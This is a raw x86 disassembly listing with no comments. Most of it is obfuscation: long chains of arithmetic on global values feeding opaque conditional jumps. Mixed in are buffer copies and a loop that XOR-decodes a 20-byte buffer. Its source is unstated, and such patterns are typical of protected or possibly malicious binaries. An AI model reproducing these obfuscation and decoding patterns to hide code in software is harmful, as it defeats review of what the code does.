sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 6
mov dword [esp + 8], 0x24
call fcn.1002a960
mov ecx, dword [esi + 0xe4]
add esp, 0xc
mov eax, dword [esi + 0x14]
cmp dword [ecx], 0
setne cl
mov byte [esi + 0x1b], cl
cmp eax, 0x94048546
ja 0x100650d9
mov al, byte [esi + 0x1b]
test al, 1
jne 0x100652cb
jmp 0x100656c8
mov eax, dword [0x100d5010]
add eax, dword [0x100d5014]
add eax, 0x892a7748
mov ecx, 0xe423c063
xor edx, edx
div ecx
or eax, 0x59da8bee
imul eax, eax, 0x986e0a2a
xor eax, 0xd3b2c1b7
imul eax, eax, 0xd2de0f1c
mov ecx, 0x8134c603
xor edx, edx
div ecx
or eax, 0xfde53e30
add eax, 0xad19952d
add eax, 0x4cc5c2c5
imul eax, eax, 0x3cca63de
imul eax, eax, 0x170d4258
mov ecx, 0x409d24d
xor edx, edx
div ecx
and eax, 0x8e45f9c9
mov ecx, 0xcecb8e6d
xor edx, edx
div ecx
add eax, 0xb436009b
sub eax, 0xf4644190
imul eax, eax, 0x7457dda7
or eax, 0x404554b2
imul eax, eax, 0x2bc5d1a8
sub eax, 0x5d58930e
or eax, 0x170c998
or eax, 0xaf179f00
and eax, 0xbffca401
or eax, 0xc5926ca4
or eax, 0xa055dfd9
and eax, 0xe506c486
add eax, 0x2fc1955b
imul eax, eax, 0x579e2b9a
imul eax, eax, 0x84629eed
and eax, 0xa511b1a7
imul eax, eax, 0x44bf55f9
xor eax, 0x59f11291
imul eax, eax, 0x15c2b563
add eax, 0x7aa2d891
add eax, 0x7305add0
add eax, 0xd8c653c6
or eax, 0x4756c976
sub eax, 0x8dc60bb7
mov ecx, 0x63ef22eb
xor edx, edx
div ecx
or eax, 0x3fba9df9
mov ecx, 0x33007eb1
xor edx, edx
div ecx
imul eax, eax, 0x22d671f4
and eax, 0x508146d1
sub eax, 0x76b98c1b
and eax, 0x5dbb2fe2
and eax, 0x66505383
sub eax, 0x8a478d17
imul eax, eax, 0x3391ab06
sub eax, 0x5907a061
add eax, 0x7bccd9f4
mov ecx, 0x1d542bcf
xor edx, edx
div ecx
or eax, 0x9d77932c
add eax, 0x9f847d66
xor eax, 0x4c40d24c
or eax, 0xa3e2f253
or eax, 0xcf01577e
mov ecx, 0x354e0b62
xor edx, edx
div ecx
sub eax, 0x9b8dc893
imul eax, eax, 0xb4bd3baf
imul eax, eax, 0xdea6c273
add eax, 0xa7eefe9
sub eax, 0x287c7b39
sub eax, 0x3d25e975
add eax, 0xae6c2bb7
or eax, 0x4bef57ee
and eax, 0xc38b8c70
sub eax, 0x4eb5cb6f
imul eax, eax, 0xee025e04
xor eax, 0x17db16ec
xor eax, 0xc214b54f
and eax, 0x49fab566
cmp eax, 0xffd168bc
je 0x10066a6b
mov ecx, dword [esi + 0x30]
mov eax, dword [0x100d5018]
sub eax, dword [0x100d501c]
sub eax, 0xa550ed47
or eax, 0x5ef499ab
imul eax, eax, 0xcfae1eea
imul eax, eax, 0xf00bbcee
imul eax, eax, 0x58e9a284
mov edi, 0xb9897718
xor edx, edx
div edi
or eax, 0x4769462f
xor eax, 0x4cb435dd
imul eax, eax, 0x1c900924
sub eax, 0x5792a67b
imul eax, eax, 0x7d9a97dd
xor eax, 0x6e090018
imul eax, eax, 0xcdb8e627
mov edi, 0x20006a78
xor edx, edx
div edi
add eax, 0x2aefa9d3
imul eax, eax, 0xbf013fa9
or eax, 0xc542e16b
xor eax, 0x441d10d7
and eax, 0x9c7cfb5f
or eax, 0x16792ffc
xor eax, 0x89e42477
sub eax, 0x8e2bf936
sub eax, 0xea1255b9
or eax, 0x88bd843
xor eax, 0x904ccd58
imul eax, eax, 0x73398aeb
or eax, 0xb441ec05
or eax, 0x4200ee5
sub eax, 0x5c462be6
sub eax, 0x3abf7ddd
imul eax, eax, 0xdba77adc
mov edi, 0x8d89957e
xor edx, edx
div edi
and eax, 0xee597f63
xor eax, 0xade4d4b0
sub eax, 0xcfee979e
sub eax, 0x24fd5830
sub eax, 0x66b91e2d
or eax, 0xb11ffc7
add eax, 0xc628c677
and eax, 0x37e853fb
add eax, 0x3c7076e2
add eax, 0x3c2cbda8
xor eax, 0xa1c9a98d
or eax, 0xc36fd95e
add eax, 0xb387ec1
mov edi, 0x81093f5a
xor edx, edx
div edi
or eax, 0xb7ef9f50
or eax, 0x8730a4f5
or eax, 0x6396b0c0
imul eax, eax, 0xa258a71d
sub eax, 0x8a33df70
mov edi, 0xe7746b85
xor edx, edx
div edi
and eax, 0x1996838
xor eax, 0xa70963d5
and eax, 0xc0835c49
or eax, 0x13889bc2
sub eax, 0xd96ee707
and eax, 0xb006b6d1
imul eax, eax, 0xa0b8474e
or eax, 0x108f9c31
or eax, 0x83fdf7b8
imul eax, eax, 0xb0636515
add eax, 0x4f2d787a
or eax, 0x6ee753a0
or eax, 0xc4e55c90
sub eax, 0x9232493b
imul eax, eax, 0xceee210e
xor eax, 0x9fb651d0
xor eax, 0xf0f47f8e
xor eax, 0x265bb5d
mov edi, 0x504674f6
xor edx, edx
div edi
mov edx, eax
mov eax, dword [esi + 0xd8]
sub edx, 0x3402403d
mov dword [esi + 0x10], edx
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
call fcn.10050440
mov ecx, dword [esi + 0xe8]
mov edx, dword [esi + 0x30]
add esp, 0xc
mov eax, dword [esi + 0xd8]
mov edi, dword [edx]
mov edi, dword [edi]
mov edi, dword [edi]
sub edi, 5
shr edi, 1
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [edx], edi
add eax, 0x18
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x14
call fcn.10050440
add esp, 0xc
mov eax, dword [esi + 0x30]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.1007c2b1
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x34]
mov eax, dword [eax]
mov dword [eax], ecx
sub esp, 8
mov dword [esp], 0x2a
mov dword [esp + 4], 0x10
call fcn.1004dc60
add esp, 8
mov eax, dword [esi + 0x10]
cmp eax, 0xda2a94c5
je 0x10065478
jmp 0x100656c8
mov eax, dword [0x100d5020]
and eax, dword [0x100d5024]
or eax, 0x2f9bebed
or eax, 0x8a55304e
add eax, 0xfec822dc
sub eax, 0xa35d3da6
imul eax, eax, 0x331c9420
xor eax, 0x85b26a86
mov ecx, 0x8293de0b
xor edx, edx
div ecx
xor eax, 0x34a1d99b
imul eax, eax, 0x4cb9711a
xor eax, 0xfb918e4c
add eax, 0x610e09d2
sub eax, 0x2a61dc0b
add eax, 0x322c1347
and eax, 0x99d25744
mov ecx, 0x58acc8b5
xor edx, edx
div ecx
xor eax, 0xac840f1a
add eax, 0xdf34de8
xor eax, 0x86275a7a
mov ecx, 0xcd9991fc
xor edx, edx
div ecx
xor eax, 0x2ca5525a
add eax, 0xb57f5355
add eax, 0xda104248
or eax, 0xb32a8e87
and eax, 0x6c5c0b56
mov ecx, 0xfb1549a3
xor edx, edx
div ecx
add eax, 0x42ee1f14
and eax, 0x864c6f2b
and eax, 0xca27a72e
or eax, 0xdb21e12
mov ecx, 0x95aedf27
xor edx, edx
div ecx
and eax, 0xafd57d9e
imul eax, eax, 0x3511f3b8
mov ecx, 0x30bfc067
xor edx, edx
div ecx
add eax, 0xe9af50dd
and eax, 0x225a75ad
mov ecx, 0x56c04bd4
xor edx, edx
div ecx
mov ecx, 0xe7e3830f
xor edx, edx
div ecx
and eax, 0x541c1e01
or eax, 0x6db4561b
imul eax, eax, 0x330c5684
and eax, 0x6cf4edd
sub eax, 0xa66a3fe1
or eax, 0xc1b288e6
xor eax, 0x324b95dc
imul eax, eax, 0x455b4d50
add eax, 0xc34619b1
add eax, 0xa3339341
imul eax, eax, 0xe156f636
xor eax, 0xbc895ecd
add eax, 0x32ab219
and eax, 0x499527e5
add eax, 0x770b33ce
and eax, 0x125c3c4
mov ecx, 0xabc2d039
xor edx, edx
div ecx
add eax, 0x3d348215
or eax, 0x1dac20c1
mov ecx, 0x454295c5
xor edx, edx
div ecx
add eax, 0x742b2938
add eax, 0xb78a2d7d
or eax, 0x3c01ad85
sub eax, 0x420e0109
add eax, 0x9aada725
or eax, 0xbbba84f3
and eax, 0xf5de34ef
and eax, 0x8eea337c
or eax, 0xee49f1d
and eax, 0xafb84217
or eax, 0xb0fbef37
add eax, 0x52ec4ef6
mov ecx, 0xf2514afe
xor edx, edx
div ecx
xor eax, 0x7a1656d5
and eax, 0x25d6256e
cmp eax, 0x7ecf1c7e
jae 0x10066b0f
mov ecx, dword [esi + 0xf8]
mov eax, dword [0x100d5028]
xor eax, dword [0x100d502c]
xor eax, 0xc93b7dbe
xor eax, 0xfb6d6c9e
xor eax, 0x303d3cbe
or eax, 0xdc5c8580
sub eax, 0x4b7e6312
mov edi, 0xd964cdf9
xor edx, edx
div edi
and eax, 0x85325fcc
and eax, 0x8f35a9b8
sub eax, 0x1ce4a1bc
sub eax, 0xa86bd7cf
xor eax, 0x1f3f0324
or eax, 0xdf1e185
sub eax, 0x7809b56d
or eax, 0xfabf6ae3
sub eax, 0x50f3e555
and eax, 0x6c25d1dd
and eax, 0x2cbd49f7
imul eax, eax, 0xe8c11877
imul eax, eax, 0xc6657c6d
imul eax, eax, 0x26023af4
sub eax, 0x147f82f6
and eax, 0xefdb4c42
and eax, 0xa62d5a2c
xor eax, 0x1548d972
or eax, 0x75bbac37
and eax, 0x4feac0ab
mov edi, 0x42d62374
xor edx, edx
div edi
and eax, 0xdfea2656
xor eax, 0xddb64697
mov edi, 0x74dcf73b
xor edx, edx
div edi
add eax, 0xb282c14e
imul eax, eax, 0x93ba3191
and eax, 0x7b81794d
or eax, 0xcaf6ba8a
xor eax, 0x6406cfbe
or eax, 0x29cdc926
or eax, 0x255049f8
xor eax, 0x585434b1
xor eax, 0x89ba7147
sub eax, 0xc13c96a4
add eax, 0xf8fa0d10
add eax, 0xdcea7076
mov edi, 0x918b0bba
xor edx, edx
div edi
or eax, 0x234dba53
sub eax, 0x80f17af7
mov edi, 0x2afce44b
xor edx, edx
div edi
mov edi, 0x99e9be0c
xor edx, edx
div edi
imul eax, eax, 0x9eb9fd38
or eax, 0xf9f409ec
sub eax, 0xda6a4764
add eax, 0xe687e8d8
mov edi, 0x89593bc0
xor edx, edx
div edi
and eax, 0x194a1e3a
mov edi, 0x8362f3c3
xor edx, edx
div edi
or eax, 0x1651bd44
sub eax, 0xd001a7dc
sub eax, 0x1927002d
mov edi, 0x9b264511
xor edx, edx
div edi
and eax, 0xec0174bb
imul eax, eax, 0xbddee53f
or eax, 0x923f34ed
add eax, 0xd5a692e2
mov edi, 0xcbbd7f42
xor edx, edx
div edi
and eax, 0x2bf5cae5
imul eax, eax, 0xfa468e03
imul eax, eax, 0x6323667e
mov edi, 0x1d4005e1
xor edx, edx
div edi
or eax, 0x20905c31
or eax, 0x25fe10ed
or eax, 0x3544419d
xor eax, 0x683af7a4
or eax, 0x83e09483
mov dword [ecx], 0
cmp eax, 0xc3ae6efa
jbe 0x10065878
jmp 0x10065a3b
mov ecx, dword [esi + 0xdc]
mov eax, dword [esi + 0xf8]
mov eax, dword [eax]
cmp eax, dword [ecx]
jge 0x100661bd
mov eax, dword [esi + 0xe4]
cmp dword [eax], 0
je 0x10065de1
mov eax, dword [0x100d5030]
add eax, dword [0x100d5034]
or eax, 0x8785b72e
xor eax, 0x926b106b
add eax, 0x5f109bfd
sub eax, 0x22b2c7d6
mov ecx, 0x5a56ee95
xor edx, edx
div ecx
xor eax, 0xded477ff
or eax, 0x7d9d2676
mov ecx, 0x87894c1
xor edx, edx
div ecx
or eax, 0x636e828f
imul eax, eax, 0x98fc31e9
xor eax, 0xe2f4ae4d
imul eax, eax, 0x266051af
and eax, 0x9ce470ce
add eax, 0x1e745931
add eax, 0x9a7480c2
sub eax, 0x883d864d
imul eax, eax, 0x933c5427
sub eax, 0x833b41e9
sub eax, 0xd0974196
sub eax, 0xfa943dc8
sub eax, 0x9d9436ed
or eax, 0x9a28b215
sub eax, 0x878435ee
add eax, 0x74b89f5d
and eax, 0xe75324b
xor eax, 0x296f63df
or eax, 0xa45f70e8
add eax, 0x545bc4e2
mov ecx, 0x227595e8
xor edx, edx
div ecx
imul eax, eax, 0xa5c0849b
and eax, 0x32eec8a8
sub eax, 0xf3151e9f
or eax, 0x560d5270
and eax, 0x6844ebb2
mov ecx, 0xa506a60f
xor edx, edx
div ecx
sub eax, 0x84bf841a
sub eax, 0xd5daf3e
mov ecx, 0xc9db2c13
xor edx, edx
div ecx
sub eax, 0x86537df1
mov ecx, 0xbaaed07
xor edx, edx
div ecx
add eax, 0x2b3853c4
mov ecx, 0xbfc5a412
xor edx, edx
div ecx
and eax, 0x93bb8c29
add eax, 0x13827aee
or eax, 0xec2e2ad8
or eax, 0x2680c1e0
and eax, 0x7a68f2fd
mov ecx, 0x2fe3ede5
xor edx, edx
div ecx
or eax, 0x89b91e94
and eax, 0x7692ae76
sub eax, 0xb5431e81
and eax, 0x2feb30af
sub eax, 0x37307f34
and eax, 0x1d785f9b
or eax, 0xc82dc8cf
imul eax, eax, 0xea3698b
or eax, 0xf00ba8c5
sub eax, 0xa5cf9256
imul eax, eax, 0xc44baf39
sub eax, 0x6b66a652
mov ecx, 0xe65865
xor edx, edx
div ecx
mov ecx, 0x5474b945
xor edx, edx
div ecx
sub eax, 0x1c42743a
xor eax, 0x5baf2d7e
imul eax, eax, 0xb3162b1c
and eax, 0x41168ddc
imul eax, eax, 0x22705b06
and eax, 0xa7e8f7c2
sub eax, 0x1d88b4e7
xor eax, 0xe1e308a5
and eax, 0x47c2b7e5
imul eax, eax, 0x438f3540
cmp eax, 0x2178e993
jae 0x10066b20
mov ecx, dword [esi + 0xf8]
mov eax, dword [0x100d5038]
sub eax, dword [0x100d503c]
add eax, 0x63590d53
or eax, 0xc2da349a
mov edi, 0xf056fff1
xor edx, edx
div edi
sub eax, 0xda34726f
and eax, 0x439746da
add eax, 0xd01bac76
and eax, 0xfb1d1dc1
or eax, 0x3d3794e
xor eax, 0xecd1e86a
and eax, 0x1993e077
imul eax, eax, 0xe0cc7ec7
sub eax, 0xde566bad
imul eax, eax, 0x272b8526
imul eax, eax, 0x340272dd
sub eax, 0x84aafb0e
or eax, 0xa96e9f66
add eax, 0x8b7b547f
mov edi, 0x5a42aab4
xor edx, edx
div edi
imul eax, eax, 0xf5827167
xor eax, 0x5ac57556
xor eax, 0xa8ec306a
or eax, 0x7aeb70c2
or eax, 0x455a82c2
sub eax, 0xfea5a477
sub eax, 0xc8c13701
add eax, 0x3656b5bf
and eax, 0xa4ec4577
imul eax, eax, 0x150b9fba
imul eax, eax, 0x1e9e9118
and eax, 0x4443c539
xor eax, 0x59f5f336
or eax, 0x7d986c17
xor eax, 0x434e883
add eax, 0x30b0c997
imul eax, eax, 0x32025ddb
and eax, 0xaa33a309
mov edi, 0x5e0e519
xor edx, edx
div edi
xor eax, 0xa92d968e
and eax, 0xb303b2f6
or eax, 0x8b00f24e
or eax, 0xd8d337ed
imul eax, eax, 0x4e2ab538
or eax, 0xc7f48202
mov edi, 0x9fd22f62
xor edx, edx
div edi
sub eax, 0x4a2b1f9
sub eax, 0x8bc45814
imul eax, eax, 0x25c34ced
add eax, 0xf47eb57c
imul eax, eax, 0xff4fb7bc
sub eax, 0xbd9efa2
add eax, 0xd94177f7
and eax, 0x6c7f63d3
imul eax, eax, 0x7c17391b
add eax, 0x6ead5f29
add eax, 0xb91bb5ba
xor eax, 0xbfed9fec
or eax, 0x868832ba
and eax, 0x8d755043
sub eax, 0x85c1460f
mov edi, 0xa97600
xor edx, edx
div edi
xor eax, 0xd45b18eb
mov edi, 0xc92dd605
xor edx, edx
div edi
sub eax, 0x65cbd577
add eax, 0x92d2837d
imul eax, eax, 0x86ad33b7
and eax, 0xa3393030
or eax, 0xc7d8afb2
or eax, 0xa04360c2
mov edi, 0x1cbad912
xor edx, edx
div edi
add eax, 0xbdffdcd6
imul eax, eax, 0xa385d218
xor eax, 0x2340156d
cmp dword [ecx], 0x2c
sete cl
mov byte [esi + 0xf], cl
cmp eax, 0x3415d860
jbe 0x10066b20
mov al, byte [esi + 0xf]
test al, 1
jne 0x10065dd5
jmp 0x10065de1
mov eax, dword [esi + 0xec]
mov dword [eax], 0
mov eax, dword [esi + 0xec]
mov ecx, dword [esi + 0xd8]
mov edx, dword [esi + 0xf8]
mov edi, dword [esi + 0xe8]
mov ebx, dword [eax]
movzx edi, byte [edi + ebx]
mov edx, dword [edx]
movsx ebx, byte [ecx + edx]
xor ebx, edi
mov byte [ecx + edx], bl
mov ecx, dword [eax]
add ecx, 1
mov dword [eax], ecx
cmp dword [eax], 0x14
jl 0x10065e38
mov eax, dword [esi + 0xec]
mov dword [eax], 0
sub esp, 4
mov dword [esp], 0xc
call fcn.10015970
add esp, 4
jmp 0x10065e3d
mov eax, dword [0x100d5040]
imul eax, dword [0x100d5044]
mov ecx, 0x2ba171d8
xor edx, edx
div ecx
add eax, 0x74313d53
add eax, 0xda46428b
xor eax, 0x758fdd86
and eax, 0x2fd21e8d
or eax, 0x6d5bbfb5
sub eax, 0x4d7c0ceb
sub eax, 0x37710693
or eax, 0x9c1ff6b4
imul eax, eax, 0x6c89d979
sub eax, 0x42ec2e69
add eax, 0x8fc4d79c
mov ecx, 0x51df7a8b
xor edx, edx
div ecx
and eax, 0xb5dec1f8
imul eax, eax, 0xf90fa95
and eax, 0xd0dd54f2
and eax, 0x22a58353
sub eax, 0x30414ebe
add eax, 0x36463f8c
xor eax, 0xb9264ee4
and eax, 0xe308787c
sub eax, 0xadb9b4c1
mov ecx, 0x677a344a
xor edx, edx
div ecx
imul eax, eax, 0x243df9d2
mov ecx, 0xa8e103db
xor edx, edx
div ecx
and eax, 0xc3549603
or eax, 0xb580dac0
mov ecx, 0x6af2e309
xor edx, edx
div ecx
xor eax, 0x85512d98
and eax, 0x5efc182e
sub eax, 0x6267d2a9
xor eax, 0xbf45cf73
add eax, 0x7cf0716c
mov ecx, 0x7a88b603
xor edx, edx
div ecx
mov ecx, 0xe94ba939
xor edx, edx
div ecx
or eax, 0x348f725b
mov ecx, 0xc6c5ef47
xor edx, edx
div ecx
and eax, 0x6fde952a
imul eax, eax, 0xfd7db8e6
or eax, 0x1bfa5763
and eax, 0x5f188a05
imul eax, eax, 0xe6ec8132
imul eax, eax, 0xe8b4443e
mov ecx, 0xe0683fe6
xor edx, edx
div ecx
or eax, 0xe0385f9a
and eax, 0x18f2245b
mov ecx, 0x495a6f24
xor edx, edx
div ecx
mov ecx, 0xaf5abcd
xor edx, edx
div ecx
imul eax, eax, 0x195ed222
add eax, 0xb2f240de
sub eax, 0x3cc20277
mov ecx, 0x5516d017
xor edx, edx
div ecx
imul eax, eax, 0x6e212633
sub eax, 0xf8762a1d
imul eax, eax, 0xa2f96b6a
or eax, 0x3fe20724
imul eax, eax, 0x70fdde1b
mov ecx, 0x9dcebcd2
xor edx, edx
div ecx
sub eax, 0x1ee633f5
sub eax, 0xe6b9ca26
or eax, 0x440728af
imul eax, eax, 0xf05975aa
sub eax, 0xb54c515c
or eax, 0xf29fe923
imul eax, eax, 0x413e3440
mov ecx, 0x7d4661b4
xor edx, edx
div ecx
add eax, 0x62b7557b
sub eax, 0x9d672307
or eax, 0xf11fb259
sub eax, 0x7a48d71a
and eax, 0x7d4b275
imul eax, eax, 0xec5a4ea4
cmp eax, 0x7b9416
jbe 0x10066b25
mov ecx, dword [esi + 0xf8]
mov eax, dword [0x100d5048]
add eax, dword [0x100d504c]
sub eax, 0x6bf0150f
mov edi, 0xfc129b6d
xor edx, edx
div edi
add eax, 0x743b3b5f
xor eax, 0x362472ef
add eax, 0x499b15c2
or eax, 0xdf3771f9
or eax, 0x6a0a6b2d
mov edi, 0xdcc77ebc
xor edx, edx
div edi
add eax, 0x251b3f0d
sub eax, 0xfe04d417
imul eax, eax, 0xe974fc40
imul eax, eax, 0xbfd82d91
xor eax, 0xa1e92d00
imul eax, eax, 0x5be3f00d
or eax, 0xae4f338f
sub eax, 0x9129a415
and eax, 0xc987b906
xor eax, 0x1fbda2c
and eax, 0x11bc128e
mov edi, 0x6e2d2fdc
xor edx, edx
div edi
or eax, 0x68f11b3b
and eax, 0xb8c8c550
mov edi, 0xc674588c
xor edx, edx
div edi
and eax, 0x882eacf0
and eax, 0xb21efcdd
or eax, 0xe4a0f423
xor eax, 0xef649223
xor eax, 0x7f8b5e84
or eax, 0xa911f4e1
imul eax, eax, 0xf558914
and eax, 0xbb89b6ae
add eax, 0x8bf373c9
add eax, 0xad1dd953
mov edi, 0x4475ed5b
xor edx, edx
div edi
add eax, 0x5729d748
and eax, 0x79dd4c2f
add eax, 0x2fc3b5ed
or eax, 0xa6b5160c
sub eax, 0xc0c4ef0c
and eax, 0x26bb383a
add eax, 0xcee579ec
xor eax, 0xec1a37c2
imul eax, eax, 0x27c16639
or eax, 0xb6a2b5bd
add eax, 0x68dcafda
add eax, 0x94c9794
and eax, 0x8a651505
sub eax, 0xcf0598be
mov edi, 0x6438a29f
xor edx, edx
div edi
xor eax, 0xeb836497
and eax, 0xc5be4d94
or eax, 0x46dd0562
imul eax, eax, 0x427b76d6
xor eax, 0xf6962b58
or eax, 0x36c3d41e
and eax, 0xa3a42963
or eax, 0x89437bf0
imul eax, eax, 0x502c9768
sub eax, 0x910e03a6
mov edi, 0x317d71c0
xor edx, edx
div edi
and eax, 0xc688e6fa
xor eax, 0x3e7c749e
and eax, 0xcf9d59dc
mov edi, 0x7e228acc
xor edx, edx
div edi
add eax, 0xe9595071
mov edi, 0x9b8a0249
xor edx, edx
div edi
or eax, 0xa346c7c8
xor eax, 0x6b4a88a5
sub eax, 0x704d232d
add eax, 0x97b65511
imul eax, eax, 0x543d9f58
xor eax, 0x9913d545
mov edx, dword [ecx]
add edx, 1
mov dword [ecx], edx
cmp eax, 0x16136108
je 0x10066b25
jmp 0x10065a3b
mov eax, dword [0x100d5050]
xor eax, dword [0x100d5054]
or eax, 0x58ef612d
and eax, 0xcc209b56
or eax, 0xf20a5853
sub eax, 0xfc44de21
and eax, 0x460053d
add eax, 0xc8141a7e
or eax, 0x17c28098
xor eax, 0x5b06f3b4
sub eax, 0xe002f412
mov ecx, 0xfa1cd7f4
xor edx, edx
div ecx
xor eax, 0x4afca412
imul eax, eax, 0xb5b87511
add eax, 0xacb86b0d
sub eax, 0x18b68fab
sub eax, 0x7a5f7211
add eax, 0x8c20b76
add eax, 0xe260ec66
imul eax, eax, 0x75bb56a1
add eax, 0xcc263ab0
imul eax, eax, 0x6fb3dd67
sub eax, 0x9e4e695e
xor eax, 0x5e07855f
or eax, 0x88525e8c
and eax, 0x22e0788d
sub eax, 0x655ae92f
add eax, 0xb8410e06
sub eax, 0x6803e387
mov ecx, 0xcf38a30
xor edx, edx
div ecx
mov ecx, 0xd1c9fccc
xor edx, edx
div ecx
imul eax, eax, 0xd5515057
mov ecx, 0x74a0027e
xor edx, edx
div ecx
or eax, 0x34a29844
mov ecx, 0x344f3b5f
xor edx, edx
div ecx
xor eax, 0xff8a804c
add eax, 0x17a3e022
sub eax, 0x85ea12b2
add eax, 0xdcfa340b
mov ecx, 0xa817a3ac
xor edx, edx
div ecx
mov ecx, 0x1a51c484
xor edx, edx
div ecx
and eax, 0x897bca08
xor eax, 0xf018bcc6
add eax, 0xde392969
mov ecx, 0x33a03c5c
xor edx, edx
div ecx
and eax, 0xded917e5
and eax, 0xb64ef1a3
and eax, 0x14d7567
add eax, 0x5b02b395
imul eax, eax, 0x4322df6
or eax, 0xeec4216b
add eax, 0x69aa9792
xor eax, 0x6ae99e30
or eax, 0xf5890cde
sub eax, 0x7e5fd0c4
imul eax, eax, 0x635fbaa5
or eax, 0x380c07cb
imul eax, eax, 0xb996303e
xor eax, 0x1ce99521
sub eax, 0x770e8420
xor eax, 0x48eaf33e
sub eax, 0xe77d1679
or eax, 0x91731630
and eax, 0xb879abcc
sub eax, 0x89b47502
mov ecx, 0x47929e5a
xor edx, edx
div ecx
imul eax, eax, 0x6dbed6da
add eax, 0xfee0e906
imul eax, eax, 0x3fdafeda
imul eax, eax, 0x52251c86
imul eax, eax, 0x8ddc1dac
and eax, 0xe3f278b7
and eax, 0x46621464
mov ecx, 0x99201c1
xor edx, edx
div ecx
cmp eax, 0x6d7813af
je 0x10066b37
mov edi, dword [esi + 0xe0]
mov ebx, dword [esi + 0xe4]
mov eax, dword [0x100d5058]
xor eax, dword [0x100d505c]
and eax, 0xbbc91fa8
add eax, 0xf86a6ca
and eax, 0x12f61c79
sub eax, 0x6501df52
or eax, 0x6f7b0de2
add eax, 0x7b039cc0
imul eax, eax, 0x20f4d53d
and eax, 0x998cd887
or eax, 0x1b815c92
add eax, 0x69d044d3
or eax, 0x7b8a9c58
imul eax, eax, 0xa58e1f88
add eax, 0xc3ededfa
xor eax, 0xdb5f9150
mov ecx, 0x62478e67
xor edx, edx
div ecx
add eax, 0x207a9885
xor eax, 0xab363aee
and eax, 0xdc0d49dd
mov ecx, 0xe59a478a
xor edx, edx
div ecx
mov ecx, 0x589d534e
xor edx, edx
div ecx
mov ecx, 0x458fd3cb
xor edx, edx
div ecx
add eax, 0x5f088eda
imul eax, eax, 0x872ef507
add eax, 0x6e371348
and eax, 0x1e747f32
or eax, 0x6fbd9599
sub eax, 0x1fe7a3ba
sub eax, 0xfffa4a5c
or eax, 0x599eb9c7
xor eax, 0xe6bb7145
and eax, 0x760671e5
sub eax, 0x8715be4a
or eax, 0xa97a2722
and eax, 0xb6cfb7ec
and eax, 0x15612909
imul eax, eax, 0xdf326792
mov ecx, 0x38c45d5d
xor edx, edx
div ecx
add eax, 0xff016510
add eax, 0x29fd41dc
add eax, 0x8141446a
sub eax, 0x5209a998
and eax, 0x1f738f02
xor eax, 0xc44605b5
add eax, 0xe1172f86
and eax, 0xd2ea3a2c
add eax, 0x73ea918e
imul eax, eax, 0x4d214f34
or eax, 0x74a085f0
xor eax, 0xb85e3946
add eax, 0x68e9f58f
sub eax, 0x561f08dd
imul eax, eax, 0xfe8629a5
add eax, 0x2982038c
xor eax, 0x7de45766
imul eax, eax, 0xe3457df6
or eax, 0xaa433aad
xor eax, 0x4d012eb7
mov ecx, 0x74a79dd3
xor edx, edx
div ecx
or eax, 0xfb7cb078
mov ecx, 0x14508705
xor edx, edx
div ecx
add eax, 0xc19319c1
xor eax, 0xb9c3098c
sub eax, 0xb2843177
mov ecx, 0xb465334c
xor edx, edx
div ecx
mov ecx, 0xaa8c94aa
xor edx, edx
div ecx
sub eax, 0x5cb841ef
and eax, 0x4213c83b
mov ecx, 0x201db98b
xor edx, edx
div ecx
mov ecx, dword [esi + 0xd8]
mov edx, dword [esi + 0x34]
and eax, 0xf66f21ee
and eax, 0x57ce23f6
imul eax, eax, 0x4fad8e3
xor eax, 0x1bec067f
mov dword [esi + 8], eax
mov eax, dword [esi + 0xdc]
mov dword [ebx], 0
mov edx, dword [edx]
mov edx, dword [edx]
add edx, dword [edi]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1007f180
mov edx, dword [esi + 0xdc]
mov ecx, dword [esi + 0xe0]
mov eax, dword [esi + 0xd8]
add esp, 0xc
mov edx, dword [edx]
add edx, dword [ecx]
mov dword [ecx], edx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.1007fc80
mov eax, dword [esi + 8]
add esp, 0xc
cmp eax, 0x423d95ee
ja 0x10066b37
jmp 0x1006659e
mov eax, dword [esi + 0xdc]
cmp dword [eax], 0
jg 0x10064b0b
mov eax, dword [0x100d5060]
and eax, dword [0x100d5064]
and eax, 0x1dfbaad6
add eax, 0xf58ee617
xor eax, 0xd8f6d433
add eax, 0x19f0fe18
imul eax, eax, 0x9c50c5ff
mov ecx, 0x68fbc29b
xor edx, edx
div ecx
sub eax, 0x12ef280b
imul eax, eax, 0xeae8dd5e
or eax, 0x354e567a
sub eax, 0xb4faf4f5
imul eax, eax, 0x6160785b
or eax, 0x7d1a726f
or eax, 0x483cebd2
sub eax, 0x924a6d9e
and eax, 0x460ef618
xor eax, 0xb4fc9421
add eax, 0xd38007a1
sub eax, 0xa1cc2ec1
and eax, 0xd2c8ed9c
imul eax, eax, 0x3e556d20
mov ecx, 0x479b8621
xor edx, edx
div ecx
sub eax, 0x62bb9a59
sub eax, 0xadb0c00c
xor eax, 0xb957f179
xor eax, 0x87a21025
add eax, 0x90675cdf
and eax, 0xf95c2dd0
imul eax, eax, 0x41d768d9
imul eax, eax, 0x86d780e3
and eax, 0xe73a1a30
imul eax, eax, 0xd298e0ac
and eax, 0x54ba66b7
xor eax, 0xb5341aec
xor eax, 0xd53b24af
mov ecx, 0xb42e6f4d
xor edx, edx
div ecx
add eax, 0xbae84bea
mov ecx, 0x13ab2d37
xor edx, edx
div ecx
sub eax, 0xba27267e
xor eax, 0x5268ffd2
mov ecx, 0x7b4e77e8
xor edx, edx
div ecx
sub eax, 0xa1458215
or eax, 0x604b582
and eax, 0x8083bb1e
and eax, 0xae933c0e
sub eax, 0xd51cff54
mov ecx, 0xd213db39
xor edx, edx
div ecx
sub eax, 0xe32db187
or eax, 0x1d6404b3
and eax, 0xe41e2251
add eax, 0xc960e921
imul eax, eax, 0xdc18ad74
sub eax, 0x3498862e
or eax, 0x4b163fae
sub eax, 0xd919ae52
and eax, 0xb6f1dada
and eax, 0x5d3a76e1
